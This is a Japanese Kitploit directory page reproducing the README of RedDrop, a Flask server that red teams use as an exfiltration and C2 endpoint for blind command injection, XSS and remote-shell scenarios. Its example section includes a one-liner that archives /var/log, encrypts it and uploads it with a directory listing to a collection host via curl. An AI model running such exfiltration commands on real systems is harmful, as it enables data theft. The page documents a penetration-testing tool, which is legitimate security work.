Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
RedDrop — エンコード/暗号化されたペイロードやtarアーカイブをキャプチャ、処理、ログ記録するためのPython Flask Webサーバーで、ペネトレーションテスターやレッドチーム向けに設計されたC2 exfiltrationエンドポイントです。 | Kitploit
ツール/GitHubGitHub/cyberbutler/reddrop
ペイロード生成データ流出ウェブセキュリティコマンド&コントロールレッドチーミング
GitHubcyberbutler/reddrop

RedDrop

エンコード/暗号化されたペイロードやtarアーカイブをキャプチャ、処理、ログ記録するためのPython Flask Webサーバーで、ペネトレーションテスターやレッドチーム向けに設計されたC2 exfiltrationエンドポイントです。

リポジトリを見る
5861年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Red Drop

RedDrop Exfil サーバー

関連するMaverisLabsブログ記事はこちら!

RedDrop Exfil サーバーは、ペネトレーションテスター、レッドチーム、セキュリティ専門家向けのPython Flask Webサーバーで、以下の機能を備えています:

  • ファイルアップロード
  • 自動ペイロード処理
  • 自動アーカイブ抽出
  • JSONロギング
  • 設定可能なオプション
  • 認証ルール

このソフトウェアは、さまざまなシナリオでWebリクエストデータをキャプチャするための初歩的なC2エンドポイントとして使用することを意図しています。いくつかの例としては:

  • ブラインドコマンドインジェクション脆弱性
  • 迅速で動的なWebリクエストロギングサーバーが必要なXSS攻撃
  • リモートシェルアクセスが得られ、詳細ログを記録するWebベースの流出サーバーが望まれる状況

デモ

Demo

このプロジェクトはまだ開発中であり、一部の機能にバグがある可能性があります。問題が発生した場合は、Issueを開いてください!

セキュリティに関する注意

このソフトウェアは、広くインターネットに公開されたままにすべきではありません。これは、意図的に任意のファイルアップロード脆弱性と見なされるものとして構築されており、認証なしでファイルを受け入れてローカルディスクに保存します。このソフトウェアがデプロイされるシステムが適切に保護されるように、十分な注意を払う必要があります。いくつかの推奨事項:

  • RedDropの認証ルール機能を利用して、条件に一致しないリクエストを破棄します。
  • リバースプロキシを配置して、このWebアプリケーションへのトラフィックをルーティングおよびブロックします
  • ターゲットのIPスペースをホワイトリストに登録します
  • フィルタリング方法を理解せずにアーカイブを自動抽出しないでください

クイックスタート

Docker

root@kitploit:~
mkdir uploads logs
docker run --rm -t -v "$PWD/uploads:/reddrop/uploads" -v "$PWD/logs:/reddrop/logs" -p "80:80" --name reddrop cyberbutler/reddrop -h

PipEnv

root@kitploit:~
pip install --user pipenv
pipenv install
pipenv shell
python reddrop-server.py -h

オプション

root@kitploit:~
python reddrop-server.py -h

     A Webserver for File and Data Exfiltration.
        Author: @cyberbutler/@thecyberbutler

optional arguments:
  -h, --help            show this help message and exit
  --host HOST, -H HOST  The host IP Address to bind to (default:
                        0.0.0.0)
  --port PORT, -P PORT  The port to bind to (default: 80)
  -c CONFIG, --config CONFIG
                        YAML config file path (default: None)
  --dump-config         Dump the configuration settings as YAML
                        (default: False)
  --debug               Enable Flask's Debug Mode (default: False)
  -p {hex,openssl-aes256-pbkdf2,gzip,b64}, --processor {hex,openssl-aes256-pbkdf2,gzip,b64}
                        Specify a processor to use. This flag can
                        be used more than once to define multiple
                        process_list functions. Use this flag in
                        the order in which you wish to process
                        received data (default: [])
  -A, --auto-process, --no-auto-process
                        Automatically run processors based on
                        detected data. This option is enabled by
                        default, but should be disabled (--no-
                        auto-process) when you receive output you
                        don't expect. Such as in the case of
                        Base64 decoding being run on output that
                        is not Base64 encoded. Instead, force the
                        process with the `-p` flag. (default:
                        True)
  --auto-extract-tar, -x
                        Auto extract TAR archives received by the
                        server. (default: False)
  --encryption-password PROCESSOR_ARGUMENTS.OPENSSL-AES256-PBKDF2.PASSWORD
                        The password used to decrypt/encrypt.
                        (default: EncryptMe)
  -r AUTHORIZATION_RULES, --authorization_rules AUTHORIZATION_RULES
                        Specify an Authorization Rule to deny
                        requests which do not match the provided
                        Key and Regex value pair. Specified as
                        <Key>=<Regex>. (default: None)
  -t TAGS, --tag TAGS   Tag data received during this session in the logs as well as the directory files are uploaded to. Example:
                        -t log4j -t acme.org (default: None)
  --tls-keyfile GUNICORN.KEYFILE
                        Enables TLS Support. (Production Only) The path to a TLS key file (default: None)
  --tls-certfile GUNICORN.CERTFILE
                        Enables TLS Support. (Production Only) The path to a TLS cert file (default: None)

Far more configuration options exist which must be specified in Environment Variables, use `--dump-config` to see all of the options

例

LinuxシステムからのTarアーカイブとコマンド出力の流出

root@kitploit:~
tar cz /var/log | base64 | xxd -ps | gzip | openssl enc -aes-256-cbc -pass 'pass:EncryptMe' -e -a -pbkdf2 | curl 172.17.0.1$PWD -F 'logs=@-' -F "listing=`ls -al * | gzip | base64`"

example-screenshot.png

Todo

  • このWebサーバーを使用したテクニックの詳細なドキュメント
  • チャンクファイルアップロードの処理とサンプルコマンド
  • より多くの処理モジュール
  • アーカイブ抽出機能の拡張
ツールをダウンロード